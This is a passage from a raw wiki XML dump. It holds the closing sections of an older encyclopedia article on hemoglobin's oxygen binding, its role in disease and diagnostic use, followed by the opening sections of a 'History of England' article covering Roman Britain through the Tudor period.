:CO&lt;sub&gt;2&lt;/sub&gt; + H&lt;sub&gt;2&lt;/sub&gt;O &lt;-&gt; HCO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;-&lt;/sup&gt; + H&lt;sup&gt;+&lt;/sup&gt;

[[Image:Hb saturation curve.png|left|thumb|320px|Hemoglobin sigmoidal oxygen dissociation curve]]

So blood with high carbon dioxide levels is also lower in [[pH]] (more [[acidic]]).  Hemoglobin can bind [[proton]]s and carbon dioxide which causes a conformational change in the protein and facilitates the release of oxygen. Protons bind at various places along the protein and carbon dioxide binds at the [[alpha-amino group]] forming [[carbamate]].  Conversely, when the carbon dioxide levels in the blood decrease (i.e., around the lungs), carbon dioxide is released, increasing the oxygen affinity of the protein.  This control of hemoglobin's affinity for oxygen by the binding and release of carbon dioxide is known as the [[Bohr effect]]. 

The binding of oxygen is affected by molecules such as [[carbon monoxide]] (CO) (for example from [[tobacco smoking]], cars and furnaces). CO competes with oxygen at the heme binding site. Hemoglobin binding affinity for CO is 200 times greater than its affinity for oxygen, meaning that small amounts of CO dramatically reduces hemoglobin’s ability to transport oxygen. When hemoglobin combines with CO, it forms a very bright-red compound called [[carboxyhemoglobin]]. When inspired air contains CO levels as low as 0.02% headache and nausea occur; if the CO concentration is increased to 0.1%, unconsciousness will follow. In heavy smokers, up to 20% of the oxygen-active sites can be blocked by CO. 

Hemoglobin also has competitive binding affinity for [[sulfur monoxide]] (SO), [[nitrogen dioxide]] (NO&lt;sub&gt;2&lt;/sub&gt;) and [[hydrogen sulfide]] (H&lt;sub&gt;2&lt;/sub&gt;S). The iron atom in the heme group must be in the Fe&lt;sup&gt;+2&lt;/sup&gt; oxidation state to support oxygen transport. Oxidation to Fe&lt;sup&gt;+3&lt;/sup&gt; state converts hemoglobin into hem'''i'''globin or [[methemoglobin]] which cannot bind oxygen. Nitrogen dioxide and [[nitrous oxide]] are capable of converting hemoglobin to methemoglobin. 

In people acclimated to high altitudes, the concentration of 2,3-diphosphoglycerate (2,3-DPG) in the blood is increased, which allows these individuals to deliver a larger amount of oxygen to tissues under conditions of lower oxygen tension. This phenomenon, where molecule Y affects the binding of molecule X to a transport molecule Z, is called a ''heterotropic'' [[allosteric]] effect.

A variant hemoglobin, called [[fetal hemoglobin]] (Hb F, &amp;alpha;&lt;sub&gt;2&lt;/sub&gt;&amp;gamma;&lt;sub&gt;2&lt;/sub&gt;), is found in the developing [[fetus]], and binds oxygen with greater affinity than adult hemoglobin. This means that the oxygen binding curve for fetal hemoglobin is left-shifted (i.e., a higher percentage of hemoglobin has oxygen bound to it at lower oxygen tension), in comparison to that of adult hemoglobin. As a result, fetal blood in the [[placenta]] is able to take oxygen from maternal blood.

== Degradation of hemoglobin ==
When [[red cell]]s reach the end of their life due to aging or defects, they are broken down, and the
hemoglobin molecule broken up and the iron recycled.  When the porphyrin ring
is broken up, the fragments are normally secreted in the [[bile]] by the [[liver]]. The major final product of heme degradation is [[bilirubin]]. Increased levels of this chemical are detected in the blood if red cells are being destroyed more rapidly than usual. Improperly degraded hemoglobin protein or hemoglobin that has been released from the blood cells can clog small blood vessels, especially the delicate blood filtering vessels of the [[kidney]]s, causing kidney damage.

== Role in disease ==
Decreased levels of hemoglobin, with or without an absolute decrease of [[red blood cell]]s, leads to symptoms of [[anemia]]. Anemia has many different causes, although [[iron deficiency (medicine)|iron deficiency]] and its resultant [[iron deficiency anemia]] are the most common causes in the Western world. As absence of iron decreases [[heme]] synthesis, red blood cells in iron deficiency anemia are ''hypochromic'' (lacking the red hemoglobin pigment) and ''microcytic'' (smaller than normal). Other anemias are rarer. In [[hemolysis]] (accelerated breakdown of red blood cells), associated [[jaundice]] is caused by the hemoglobin metabolite [[bilirubin]], and the circulating hemoglobin can cause [[renal failure]].

Mutations in the globin chain are associated with the [[hemoglobinopathy|hemoglobinopathies]], such as [[sickle-cell disease]] and [[thalassemia]].

There is a group of genetic disorders, known as the ''[[porphyria]]s'' that
are characterized by errors in metabolic pathways of heme synthesis.
King [[George III of the United Kingdom]] was probably the most famous porphyria sufferer.

To a small extent, hemoglobin A slowly combines with [[glucose]] at a certain location in the molecule.  The resulting molecule is often referred to as [[HbA1c|'''Hb A&lt;sub&gt;1c&lt;/sub&gt;''']].  As the [[concentration]] of glucose in the blood increases, the percentage of Hb A that turns into Hb A&lt;sub&gt;1c&lt;/sub&gt; increases.  In [[diabetes mellitus|diabetics]] whose glucose usually runs high, the percent Hb A&lt;sub&gt;1c&lt;/sub&gt; also runs high.  Because of the slow rate of Hb A combination with glucose, the Hb A&lt;sub&gt;1c&lt;/sub&gt; percentage is representative of glucose level in the blood averaged over a longer time (the half-life of red blood cells, which is typically 50-55 days).

==Diagnostic use==
Hemoglobin levels are amongst the most commonly performed [[blood test]]s, usually as part of a [[full blood count]] or [[complete blood count]]. Results are reported in [[gram|g]]/[[liter|L]], [[gram|g]]/[[Decilitre|dL]] or [[mole (unit)|mol]]/L. For conversion, 1 g/dl is 0.62 mmol/L.


[[blood sugar|Glucose]] levels in blood can vary widely each hour, so one or only a few samples from a patient analyzed for glucose may not be representative of glucose control in the long run.  For this reason a blood sample may be analyzed for Hb A&lt;sub&gt;1c&lt;/sub&gt; level, which is more representative of glucose control averaged over a longer time period (determined by the half-life of the individual's red blood cells, which is typically 50-55 days).  People whose Hb A&lt;sub&gt;1c&lt;/sub&gt; runs 6.0% or less show good longer-term glucose control.  Hb A&lt;sub&gt;1c&lt;/sub&gt; values which are more than 7.0% are elevated.  This test is especially useful for [[diabetes mellitus|diabetics]].


This Hb A&lt;sub&gt;1c&lt;/sub&gt; level is only useful in individuals who have red blood cells (RBCs) with normal survivals (i.e., normal half-life).    In individuals with abnormal RBCs, whether due to abnormal hemoglobin molecules (such as Hemoglobin S in Sickle Cell Anemia) or RBC membrane defects - or other problems, the RBC half-life is frequently shortened.   In these individuals an alternative test called &quot;fructosamine level&quot; can be used.  It measures the degree of glycation (glucose binding) to albumin, the most common blood protein, and reflects average blood glucose levels over the previous 18-21 days, which is the half-life of albumin molecules in the circulation.

==Other biological oxygen-binding proteins==
Hemoglobin is by no means unique; there are a variety of oxygen transport and binding proteins throughout the animal (and plant) kingdom. Other organisms including [[bacteria]], [[protozoa]]ns and [[fungi]] all have hemoglobin-like proteins whose known and predicted roles include the reversible binding of gaseous [[ligand]]s.

'''[[Myoglobin]]''': Found in the muscle tissue of many vertebrates including humans (gives muscle tissue a distinct red or dark gray color). Is very similar to hemoglobin in structure and sequence, but is not arranged in tetramers, it is a monomer and lacks [[cooperative binding]] and is used to store oxygen rather than transport it.

'''[[Hemocyanin]]''': Second most common oxygen transporting protein found in nature. Found in the blood of many [[arthropod]]s and [[mollusc]]s. Uses copper prosthetic group instead of iron heme groups and is blue in color when oxygenated.   

'''[[Hemerythrin]]''': Some marine invertebrates and a few species of [[annelid]] use this iron containing non-heme protein to carry oxygen in their blood. Appears pink/violet when oxygenated, clear when not.

'''[[Chlorocruorin]]''': Found in many [[annelid]]s, and is very similar to Erythrocruorin, but the heme group is significantly different in structure. Appears green when deoxygenated and red when oxygenated.

'''[[Vanabins]]''': Also known as '''[[Vanadium]] Chromagen''' are found in the blood of [[Sea squirt]] and are hypothesised to use the rare metal Vanadium as its oxygen binding prosthetic group, but this hypothesis is unconfirmed.  

'''[[Erythrocruorin]]''': Found in many [[annelid]]s, including [[earthworm]]s. Giant free-floating blood protein, contains many dozens even hundreds of Iron heme containing protein subunits bound together into a single protein complex with a molecular masses greater than 3.5 million daltons.

'''[[Pinnaglobin]]''': Only seen in the [[mollusk]] ''Pinna squamosa''. Brown manganese-based porphyrin protein. 
  
'''[[Leghemoglobin]]''': In leguminous plants, such as alfalfa or soybeans, the nitrogen fixing bacteria in the roots are protected from oxygen by this iron heme containing, oxygen binding  protein.

== See also ==
* [[Hemoprotein]]
* [[Hemocyanin]]
* [[Chlorophyll]]
* [[HbA1c|Hemoglobin A1C]]
* [[sickle-cell disease|Hemoglobin S]] 
* [[Hemoglobin C]]
* [[Hemoglobin F]]
* [[Hemoglobin A2]]

== References ==
* {{Harvard reference
 | Author=Campbell, Mary K.
 | Last=Campbell
 | First=Mary K.
 | Title=Biochemistry (Third Edition)
 | Publisher=Harcourt College Publishers
 | Year=1999
 | Date=1999
 | ID=ISBN 0-03024-426-9
}}.
* {{Harvard reference
 | Surname1=Campbell
 | First1=NA
 | Surname1=Reece
 | First1=JB
 | Title=Biology (Seventh Edition)
 | Publisher=Benjamin Cummings
 | Year=2005
 | Date=2005
 | ID=ISBN 0-8053-7171-0
}}.
* {{Harvard reference
 | Surname1=Di Maio
 | First1=M
 | Surname2=Pisano
 | First2=C
 | Surname3=Tambaro
 | First3=R, Greggi S, Casella G, Laurelli G, Formato R, Iaffaioli RV, Perrone F &amp; Pignata S
 | Year=2006
 | Title=The prognostic role of pre-chemotherapy hemoglobin level in patients with ovarian cancer
 | Periodical=Front Biosci
 | Volume=11:1585-90
 | Date=[[May 1]], [[2006]]
}}. PMID 16368539.
* {{Harvard reference
 | Surname1=Eshaghian
 | First1=S
 | Surname2=Horwich
 | First2=TB
 | Surname3=Fonarow 
 | First3=GC
 | Year=2006
 | Title=An unexpected inverse relationship between HbA1c levels and mortality in patients with diabetes and advanced systolic heart failure
 | Periodical=Am Heart J
 | Volume=151(1):91
 | Date=January 2006
}}. PMID 16368297.
* {{Harvard reference
 | Author=Hardison, RC
 | Last=Hardison
 | First=RC
 | Year=1996
 | Title=A brief history of hemoglobins: plant, animal, protist, and bacteria
 | Periodical=Proc Natl Acad Sci USA
 | Date=[[June 11]], [[1996]] 
 | URL=http://www.pubmedcentral.gov/articlerender.fcgi?tool=pubmed&amp;pubmedid=8650150
}}. PMID 8650150.
* {{Harvard reference
 | Surname1=Kneipp
 | First1=J
 | Surname2=Balakrishnan
 | First2=G
 | Surname3=Chen
 | First3=R, Shen TJ, Sahu SC, Ho NT, Giovannelli JL, Simplaceanu V, Ho C, Spiro TG
 | Year=2005
 | Title=Dynamics of Allostery in Hemoglobin: Roles of the Penultimate Tyrosine H bonds
 | Periodical=J Mol Biol
 | Date=[[November 22]], [[2005]] 
}}. PMID 16368110.
* {{Harvard reference
 | Author=Ganong, William F.
 | Last=Ganong
 | First=William F.
 | Title=Review of Medical Physiology (Twenty-First Edition)
 | Publisher=Lange Medical Books (McGraw-Hill Medical Publishing Division)
 | Year=2003
 | Date=[[March 17]], [[2003]]
 | ID=ISBN 0-07140-236-5
}}.

==External links==
* [http://www.ufp.pt/~pedros/anim/2frame-hben.htm Interactive models of hemoglobin] (Requires [http://www.mdl.com/products/framework/chime/ MDL Chime])

[[Category:Hematology]]
[[Category:Hemoproteins]]

&lt;!--[[en:Hemoglobin]] --&gt;

[[ar:هيموغلوبين]]
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[[eo:Hemoglobino]]
[[fr:Hémoglobine]]
[[ko:헤모글로빈]]
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[[it:Emoglobina]]
[[he:המוגלובין]]
[[lt:Hemoglobinas]]
[[ms:Hemoglobin]]
[[nl:Hemoglobine]]
[[ja:ヘモグロビン]]
[[no:Hemoglobin]]
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[[pl:Hemoglobina]]
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[[sv:Hemoglobin]]
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[[zh:血红蛋白]]</text>
    </revision>
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    <title>History of England</title>
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      <comment>/* England during the Middle Ages */  wool trade mentioned</comment>
      <text xml:space="preserve">{{History of England}}
'''England''' is the largest and most populous of the [[constituent countries]] of the [[United Kingdom]]. The division dates from the arrival of the [[Anglo-Saxons]] in the [[5th century]]. The territory of [[England]] has been politically united since the [[10th century]]. This article concerns that territory. However, before the [[10th century]] and after the accession of [[James VI of Scotland]] to the throne of England in [[1603]], it becomes less convenient to distinguish [[History of Scotland|Scottish]] and [[History of Wales|Welsh]] from English history since the union of these nations with England.

==England before the English==
: ''Main articles: [[Prehistoric Britain]], [[Iron Age Britain]] and [[Roman Britain]]''

Archaeological evidence indicates that what is now southern England was colonised by humans long before the rest of the British Isles due to its more hospitable climate between and during the various [[ice age]]s of the distant past. The first historical mention of the region is from the [[Massaliote Periplus]], a sailing manual for merchants thought to date to the [[6th century BC]], although cultural and trade links with the continent had existed for millennia prior to this. [[Pytheas of Massilia]] wrote of his trading journey to the island around [[325 BC]]. Later writers such as [[Pliny the Elder]] (quoting [[Timaeus]]) and [[Diodorus Siculus]] (probably drawing on [[Poseidonius]]) mention the tin trade from southern England but there is little further historical detail of the people who lived there. [[Tacitus]] wrote that there was no great difference in language between the people of southern England and northern [[Gaul]] and noted that the various tribes of Britons shared physical characteristics with their continental neighbours.

[[Julius Caesar]] visited southern England in [[55 BC|55]] and [[54 BC]] and wrote in ''[[De Bello Gallico]]'' that the population of southern England was extremely large and shared much in common with the other [[Iron Age]] tribes on the continent. Coin evidence and the work of later Roman historians have provided the names of some of the rulers of the disparate tribes and their machinations in what was to become England.

Surprisingly few historical sources describe Roman England. For example, we have only one sentence describing the reasons for the construction of [[Hadrian's Wall]]. The Claudian invasion itself is well attested and Tacitus included the uprising of [[Boudica]], or &quot;Boadicea&quot;, in [[61]] in his history. Following the end of the [[1st century]], however, Roman historians only mention tantalising fragments of information from the distant province. The Roman presence strengthened and weakened over the centuries, but by the [[5th century]] Roman influence had declined to such a point that the peoples who were to become the English were emerging.

==The Anglo-Saxon Conquest of Celtic Britain==
{{main|History of Anglo-Saxon England}}
In the wake of the Romans, who had abandoned the south of the island by [[410]] in order to concentrate on more pressing difficulties closer to home, what is now England was progressively settled by successive and often complementary waves of [[Germanic tribes]]men.

These Germanic tribes first came when they were invited by [[Vortigern]], [[King of the Britons]], as mercenaries to help the Britons during their wars against the Irish and the Picts.

The prevailing view is that waves of Germanic people, [[Jutes]] together with undoubtedly large numbers of [[Frisians]] and [[Ripuarian Franks]], [[Saxon people|Saxons]] from northern [[Germany]] and [[Angles]] from what is now [[Denmark]] - commonly known as Anglo-Saxons - who had been partly displaced on mainland [[Europe]], invaded Britain again around the middle of the [[6th century]]. They came under military leaders and settled on the eastern shore. They are believed to have fought their way westward up the River Thames, looking for more land to cultivate, taking lowland and leaving less desirable lands in the hills to the Celtic Britons.

Research suggests that Celtic Britain underwent a form of ethnic cleansing in some parts of the country by Anglo-Saxon invaders following the Roman withdrawal in the [[5th century]]. However, Professors John Davies and A.W. Wade-Evans believe that the Saxons did not sweep away the entire population of the Celtic Britons in the areas they overran, as was supposed by [[19th century]] historians. Population estimates based on the size and density of settlements put Britain's population at about 3.5 million by the time Romans invaded in A.D. 43. Many historians now believe subsequent invaders from mainland Europe had little genetic impact on the British. The notion that large-scale migrations caused drastic change in early Britain has been widely discredited, according to Simon James, an archaeologist at Leicester University, England. For the English, their defining period was the arrival of Germanic tribes known collectively as the Anglo-Saxons. Some researchers suggest this invasion consisted of as few as 10,000 to 25,000 people—not enough to displace existing inhabitants.

Analysis of human remains unearthed at an ancient cemetery near Abingdon, England, indicates that Saxon immigrants and native Britons lived side by side. &quot;Probably what we're dealing with is a majority of British people who were dominated politically by a new elite&quot;, Miles said. &quot;They were swamped culturally but not genetically&quot;. &quot;It is actually quite common to observe important cultural change, including adoption of wholly new identities, with little or no biological change to a population&quot;, Simon James, the Leicester University archaeologist, writes.

Increasingly, the Romano-British population (the Britons) was assimilated, a process enabled by a lack of clear unity amongst the British people against a unified armed foe, and the culture pushed westwards and northwards. The settlement (or invasion) of England is known as the Saxon Conquest or the [[Anglo-Saxons|Anglo-Saxon]] (sometimes &quot;English&quot;) Conquest.

In [[495]], at the [[Battle of Mons Badonicus|Battle of Mount Badon]] (Badbury rings, Latin ''Mons Badonicus'', Welsh ''Mynydd Baddon'') near the Roman Porchester-Southampton-Poole road, Britons inflicted a severe defeat on an invading Anglo-Saxon army. While it was a major political and military event of the 5th and 6th centuries in Britain, there is no certainty about who commanded the opposing forces. This victory by the British army made it possible to stop the Saxon invasion and secured a long period of peace for Celtic Britain.

In the decisive [[Battle of Deorham]], in [[577]], the British people of Southern Britain were separated into the West Welsh ([[Cornwall]], [[Devon]] and western [[Somerset]]) and the [[Wales|Welsh]] by the advancing Saxons.

By the [[4th century]] AD, many Britons had escaped across the English Channel from Wales, Cornwall and southern Britain, with their chiefs, soldiers, families, monks and priests, and started to settle and colonize the west part ([[Armorica]]) of [[Gaul]] (France) where they founded a new nation: [[Brittany]].

This flow of Britons increased when Roman troops and authority were withdrawn from Britain, and raiding and settling by Anglo-Saxons and Scotti into Britain increased. The immigrant Britons gave their new country its current name and contributed to the [[Breton language]], Brezhoneg, a sister language to Welsh and Cornish. The name Brittany (from &quot;Little Britain&quot;) arose at this time to distinguish the new Britain from &quot;Great Britain&quot;. Brezhoneg (the British language) is still spoken in Brittany in [[2005]].

Beginning with the raid in [[793]] on the monastery at [[Lindisfarne]], [[Vikings]] made many raids on England.

At [[Dore]] (now a suburb of the [[Sheffield|City of Sheffield]]) [[Egbert of Wessex]] received the submission of [[Eanred of Northumbria]] in [[829]] and so became the first Saxon overlord of all England.

After a time of plunder and raids, the Vikings began to settle in England and trade, eventually ruling the [[Danelaw]] from the late [[9th century]]. One Viking settlement was in [[York]], called [[Jorvik]] by the Vikings. Viking rule left significant traces in the [[English language]]; the similarity of [[Old English language|Old English]] and [[Old Norse language|Old Norse]] led to much borrowing.

The principal legacy left behind in those territories from which the languages of the Britons were displaced is that of toponyms. Many of the place-names in England and to a lesser extent Scotland are derived from the Britons' names, including London, Dumbarton, York, Dorchester, Dover and Colchester. Several place-name elements are thought to be wholly or partly Brythonic in origin, particularly bre-, bal-, and -dun for hills, carr for a high rocky place, coomb for a small deep valley.

Until recently it has been believed that those areas settled by the Anglo-Saxons were uninhabited at the time or the Britons had fled before them. However, genetic studies show that the British were not pushed out to the Celtic fringes – many tribes remained in what was to become England (see C. Capelli et al. 'A Y chromosome census of the British Isles'. Current Biology 13, 979–984, ([[2003]])). Capelli's findings strengthen the research of Steven Bassett of Birmingham University; his work during the [[1990s]] suggests that much of the West Midlands was only very lightly colonised with Anglian and Saxon settlements.

===See also===
*[[Hengest]] (Saxon leader, arrived in England in [[449]], died [[488]])
*[[Cerdic of Wessex]] (Saxon leader)
*[[Bede|The Venerable Bede]] (c[[672]]-[[735]]) 
*[[Offa]] (reign [[757]] - [[796]])
*[[Egbert of Wessex]] ([[770]] - [[839]])
*[[Alfred the Great]] ([[848]] - [[900]])
*[[Anglo-Saxon Kings]]
*[[Ælfric]] (c.[[955]] - [[1020]]?)

==England during the Middle Ages==
: ''Main article: [[Britain in the Middle Ages]]''
The defeat of [[Monarch|King]] [[Harold Godwinson]] at the [[Battle of Hastings]] in [[1066]] at the hands of William of [[Normandy]], later styled [[William I of England]] and the subsequent [[Norman Conquest|Norman takeover]] of [[Saxon England]] led to a sea-change in the history of the small, isolated, island state. William ordered the compilation of the [[Domesday Book]], a survey of the entire population and their lands and property for tax purposes.

William ruled over Normandy, then a powerful French kingdom. William and his nobles spoke and conducted court in French, in Normandy as well as in England. The use of the French language by the aristocracy endured for centuries and left an indelible mark in the development of modern English.

The English [[Middle Ages]] were to be characterised by [[civil war]], international war, occasional insurrection, and widespread political intrigue amongst the aristocratic and monarchic elite. England was more than self-sufficient in cereals, dairy products, beef and mutton. The nation's international economy was based on the [[Wool#History|wool trade]], in which the produce of the sheepwalks of northern England was exported to the textile cities of [[Flanders]], where it was worked into cloth. Medieval foreign policy was as much shaped by relations with Flemish textile industry as it was by dynastic adventures in western France. An English textile industry was established in the fifteenth century, providing the basis for rapid English capital accumulation. 

[[Henry I of England|Henry I]], also known as &quot;Henry Beauclerc&quot; (so named because of his education&amp;mdash;as his older brother [[William II of England|William]] was the [[heir apparent]] and thus given the practical training to be king, Henry received the alternate, formal education), worked hard to reform and stabilise the country and smooth the differences between the Anglo-Saxon and [[Anglo-Norman]] societies. The loss of his son, [[William Adelin|William]], in the wreck of the [[White Ship]] in November [[1120]], was to undermine his reforms. This problem regarding succession was to cast a long shadow over English history.

During the disastrous and incompetent reign of [[Stephen I of England|Stephen]] ([[1135]] - [[1154]]), there was a major swing in the balance of power towards the [[feudal]] [[baron]]s, as [[the Anarchy|civil war]] and lawlessness broke out.  In trying to appease [[Scotland|Scottish]] and Welsh raiders, he handed over large tracts of land.  His conflicts with his cousin [[Empress Matilda|The Empress Matilda]] (also known as Empress Maud), whom he had earlier promised recognition as heir, were his undoing: she bided her time in [[France]] and, in the autumn of [[1139]], invaded (with her husband, [[Geoffrey of Anjou]] and her half-brother, [[Robert of Gloucester]]). 

Stephen was captured and his government fell.  Matilda was proclaimed queen but was soon at odds with her subjects and was expelled from [[London]].  The period of insurrection and civil war that followed continued until [[1148]], when Matilda returned to France. Stephen effectively reigned unopposed until his death in [[1154]], although his hold on the throne was still uneasy. When Stephen's son and heir apparent [[Eustace IV|Eustace]] died in 1153 Stephen reached an accommodation with Matilda  which allowed her son, Henry of [[Anjou]], (who became [[Henry_II_of_England|Henry II]]) to succeed Stephen and in which peace between them was guaranteed.

The reign of Henry II represents a reversion in power back from the barony to the monarchical state; it was also to see a similar redistribution of legislative power from the Church, again to the monarchical state. This period also presaged a properly constituted legislation and a radical shift away from [[feudalism]].

Henry's successor, [[Richard I of England|Richard I]], was preoccupied with foreign wars, taking part in the Third Crusade and defending his French territories against Philip II of France. His younger brother [[John of England|John]], who succeeded him, was not so fortunate; he suffered the loss of Normandy and numerous other French territories. He also managed to antagonise the feudal nobility and leading Church figures to the extent that in 1215, they led an armed rebellion and forced him to sign the [[Magna Carta]], which imposed legal limits on the King's personal powers.

John's son, [[Henry III of England|Henry III]], was only 9 years old when he became King. His reign was punctuated by numerous rebellions and civil wars, often provoked by incompetence and mismanagement in Government, and Henry's perceived over-reliance on French courtiers (thus restricting the influence of the English nobility). One of these rebellions, led (curiously enough) by a disaffected courtier, [[Simon de Montfort]], was notable for its assembly of one of the earliest precursors to the modern [[British Parliament]].

The reign of [[Edward I of England|Edward I]] (1272-1307) was rather more successful. Edward enacted numerous laws strengthening the powers of his Government, and summoned the first officially sanctioned [[Parliaments of England]] (such as his [[Model Parliament]]). He conquered [[Wales]], and attempted to use a succession dispute to gain control of [[Scotland]], though this developed into a costly and drawn-out military campaign, and was ultimately abandoned after the next King, [[Edward II of England|Edward II]], suffered a massive defeat at [[Battle of Bannockburn|Bannockburn]].

[[The Black Death]], an epidemic of [[bubonic plague]] that spread over the whole of [[Europe]], arrived in England in [[1349]] and killed perhaps up to a third of the population. International excursions were invariably against domestic neighbours: the [[Wales|Welsh]], [[Ireland|Irish]], [[Cornwall|Cornish]], [[Scottish people|Scots]] and the [[France|French]], with the principal notable battles being the [[Battle of Crecy|Battle of Crécy]] and the [[Battle of Agincourt]].  In addition to this, the final defeat of the uprising led by the Welsh prince, [[Owen Glendower]], in [[1412]] by Prince Henry (later to become [[Henry V of England|Henry V]]) represents the last major armed attempt by the Welsh to throw off English rule.

[[Edward III of England|Edward III]] gave land to powerful noble families, including many people with Royal blood in their veins.  Because land was equivalent to power in these days, this meant that these powerful men could now try to make good their claim to the Crown.  The autocratic and arrogant methods of [[Richard II of England|Richard II]] only served to alienate the nobility more, and his forceful dispossession in [[1399]] by [[Henry IV of England|Henry IV]] sowed the seeds for what was to come.  In the reign of [[Henry VI of England|Henry VI]], which began in [[1422]], things came to a head because of his personal weaknesses and mental instability.  Unable to control the feuding nobles, he allowed outright civil war to break out.  The conflicts are known as the [[Wars of the Roses]] and although the fighting was very sporadic and small, there was a general breakdown in the authority and power of the Crown.  [[Edward IV of England|Edward IV]] went a little way to restoring this power but the spadework was generally done by [[Henry VII of England|Henry VII]].

===See also===
*[[English historians in the Middle Ages]] Important English historians and historical works from the Middle Ages.
*[[List of English chronicles]]
*[[Bayeux Tapestry|The Bayeux Tapestry]] commemorating the battle of 1066.

==Tudor England==
: ''Main article: [[Early Modern Britain]]''
The Wars of the Roses culminated in the eventual victory of the relatively unknown Henry Tudor, [[Henry VII of England|Henry VII]], at the [[Battle of Bosworth Field]] in [[1485]], where the Yorkist [[Richard III of England|Richard III]] was slain, and the succession of the Lancastrian House was ultimately assured.  Whilst in retrospect it is easy for us to date the end of the Wars of the Roses to the [[Battle of Bosworth Field]], Henry VII could afford no such complacency.  Before the end of his reign, two pretenders would try to wrest the throne from him, aided by remnants of the Yorkist faction at home and abroad.  The first, [[Lambert Simnel]], was defeated at the [[Battle of Stoke]] (the last time an English King fought someone claiming the Crown) and the second, [[Perkin Warbeck]], was hanged in [[1499]] after plaguing the King for a decade.

In [[1497]], [[Michael An Gof]] led Cornish rebels in a march on London. In a battle over the [[River Ravensbourne]] at [[Battle of Deptford Bridge, 1497|Deptford Bridge]], An Gof fought for various issues with their root in taxes.  On [[June 17]], [[1497]] they were defeated, and Henry VII had showed he could display military prowess when he needed to.  But, like [[Charles I of England|Charles I]] in the future, here was a King with no wish to go &quot;on his travels&quot; again.  The rest of his reign was relatively peaceful, despite a slight worry over the succession when his wife [[Elizabeth of York]] died in [[1503]].

King [[Henry_VIII_of_England|Henry VIII]] split with the [[Catholicism|Roman Catholic Church]] over a question of his divorce from [[Catherine of Aragon]].  Though his religious position was not at all [[Protestant]], the resultant schism ultimately led to England distancing itself almost entirely from Rome. A notable casualty of the schism was Henry's [[chancellor]], Sir [[Thomas More]]. There followed a period of great religious and political upheaval, which led to the [[English Reformation]], the royal expropriation of the monasteries and much of the wealth of the church.  The [[Dissolution of the English Monasteries|Dissolution of the Monasteries]] had the effect of giving many of the lower classes (the [[gentry]]) a vested interest in the Reformation continuing, for to halt it would be to revive [[Monasticism]] and restore lands which were gifted to them during the Dissolution.

Henry VIII had three children, all of whom would wear the Crown.  The first to reign was [[Edward VI of England|Edward VI of England]].  Although he showed piety and intelligence, he was only a boy of ten when he took the throne in [[1547]].  His uncle, [[Edward Seymour, 1st Duke of Somerset]] tampered with Henry VIII's will and obtained [[letters patent]] giving him much of the power of a monarch in March of that year.  He took the title of Protector.  Whilst some see him as a high-minded idealist, his stay in power culminated in a crisis in [[1549]] when many counties of the realm were up in protest.  [[Kett's Rebellion]] in Kent and the [[Prayer Book Rebellion]] in [[Devon]] and [[Cornwall]] simultaneously created a crisis during a time when invasion from Scotland and France were feared.  Somerset, disliked by the Regency Council for his autocratic methods, was removed from power by [[John Dudley, Earl of Warwick | John Dudley]], who is known as [[Lord President Northumberland]].  Northumberland proceeded to adopt the power for himself, but his methods were more conciliatory and the Council accepted him.

When Edward VI lay dying of [[tuberculosis]] in [[1553]], Northumberland made plans to place [[Lady Jane Grey]] on the throne and marry her to his son, so that he could remain the power behind the throne.  His putsch failed and [[Mary I of England|Mary I]] took the throne amidst popular demonstration in her favour in London, which contemporaries described as the largest show of affection for a Tudor monarch.  Mary, a devout Catholic who had been influenced greatly by the Catholic King of [[Spain]] and [[Holy Roman Emperor]], [[Charles I of Spain|Charles V]], tried to reimpose Catholicism on the realm.  This led to 274 burnings of Protestants, which are recorded especially in [[John Foxe]]'s [[Book of Martyrs]].  She was highly unpopular among her people, and the Spanish party of her husband, [[Philip II of Spain|Philip II]] caused much resentment around Court. Mary lost [[Calais]], the last English possession on the Continent, and became increasingly more unpopular (except among Catholics) as her reign wore on.  She successfully repelled a rebellion by [[Sir Thomas Wyatt]].

The reign of [[Elizabeth I of England|Elizabeth]] restored a sort of order to the realm following the turbulence of the reigns of Edward and Mary when she came to the throne following the death of the latter in [[1558]].  The religious issue which had divided the country since Henry VIII was in a way put to rest by the [[Elizabethan Religious Settlement]], which created the [[Church of England]] in much the same form we see it today.  Much of Elizabeth's success was in balancing the interests of the [[Puritan|Puritans]] (radical Protestants) and &quot;die-hard&quot; Catholics.  She managed to offend neither to a large extent, although she clamped down on Catholics towards the end of her reign as war with Catholic Spain loomed.  

The [[slave trade]]  that established Britain as a major economic power can be attributed to Elizabeth, who granted [[John Hawkins]] the permission to commence trading in 1562. The number of Africans transported to England was so great due to the slave trade that by 1596 Elizabeth complained that &quot;several blackamoores have lately been brought into this realm of which kind of people there are already too much here&quot;. She tried unsuccessfully to expel them via a Proclamation in 1601. 

Elizabeth maintained relative government stability apart from the [[Revolt of the Northern Earls]] in [[1569]], she was effective in reducing the power of the old nobility and expanding the power of her government.  One of the most famous events in English martial history occurred in [[1588]] when the [[Spanish Armada]] was repelled by [[Sir Francis Drake]], but the war that followed was very costly for England and only ended after Elizabeth's death.  Elizabeth's government did much to consolidate the work begun under [[Thomas Cromwell]] in the reign of Henry VIII, that is in expanding the role of the government and in effecting common law and administration throughout the realm of England.

In all, the Tudor period is seen as a decisive one which set up many important questions which would have to be answered in the next century and during the [[English Civil War]].  These were questions of the relative power of Monarch and Parliament and to what extent one should control the other.  Some historians think that Thomas Cromwell affected a &quot;[[Tudor Revolution]]&quot; in government and it is certain that the [[Parliament of England]] became a lot more important during his Chancellorship.  Other historians say the &quot;Tudor Revolution&quot; really extended to the end of Elizabeth's reign when the work was all consolidated.  Although the [[Privy Council of England|Privy Council]], which was the mainstay of Tudor government, declined after the death of Elizabeth, whilst she was alive it was very effective.

===See also===
*[[English Renaissance]]

== Religious Conflict and the Civil War ==
A number of assassination attempts were made on the Protestant King [[James I of England|James I]], notably the [[Main Plot]] and [[Bye Plot]]s of [[1603]], and most famously, on [[November 5|5th November]] [[1605]], the [[Gunpowder Plot]], by a group of Catholic conspirators, led by [[Guy Fawkes]], which was stoked up and served as further fuel for antipathy in England to the Catholic faith.

